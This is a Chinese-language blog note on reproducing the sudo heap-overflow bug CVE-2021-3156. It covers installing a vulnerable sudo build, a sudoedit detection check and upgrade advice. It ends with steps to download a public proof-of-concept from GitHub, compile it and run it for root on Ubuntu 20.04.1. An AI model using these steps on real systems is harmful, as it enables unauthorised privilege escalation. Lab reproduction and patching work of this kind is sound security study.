題記
最近在復習就知識,可能更新的慢一些了。回頭我可能會把在書本總結的東西整理到電腦來,慢慢來,什么都不是一蹴而就的。
安裝漏洞版本的sudo
wget http://www.sudo.ws/dist/sudo-1.8.21.tar.gz
tar -xzvf sudo-1.8.21.tar.gz
cd sudo-1.8.21 && ./configure && make && make install
cp /usr/local/bin/sudo /usr/bin/sudo
漏洞簡介
當sudo通過-s或-i命令行選項在shell模式下運行命令時,它將在命令參數中使用反斜杠轉義特殊字符。但使用-s或 -i標志運行sudoedit時,實際上並未進行轉義,從而可能導致緩沖區溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root權限。
影響版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
檢測方法
在非root用戶下使用sudoedit -s /
返回以"sudoedit:"開頭的錯誤,則當前系統可能存在安全風險。
返回"usage:"開頭的錯誤響應,則不存在該漏洞。
修復方式
將sudo版本升級至最新版本,官方下載鏈接:https://www.sudo.ws/download.html
漏洞復現
1.POC下載地址:https://github.com/blasty/CVE-2021-3156
2.使用sudoedit -s / 來判斷是否可能存在漏洞,如出現sudoedit開頭的報錯則說明可能存在該漏洞
3.創建一個普通用戶並且將切換到該用戶
4.這里可以使用git或者wget等其他方法來獲取POC,使用tar命令進行解壓
wget -P /tmp https://github.com/blasty/CVE-2021-3156/archive/main.zip
cd /tmp
解壓文件
5.進入加壓之后的CVE目錄,並且運行make進行編譯,此時會生成一個新的可執行文件sudo-hax-me-a-sandwich
6.因為我們的系統版本是Ubuntu 20.04.1所以這里選擇0,運行之后成功提權。
參考鏈接
http://moneyslow.com/sudo提權漏洞sudo版本升級方法(sudo配置不當致權限提升.html
http://xffbk.cn/archives/27.html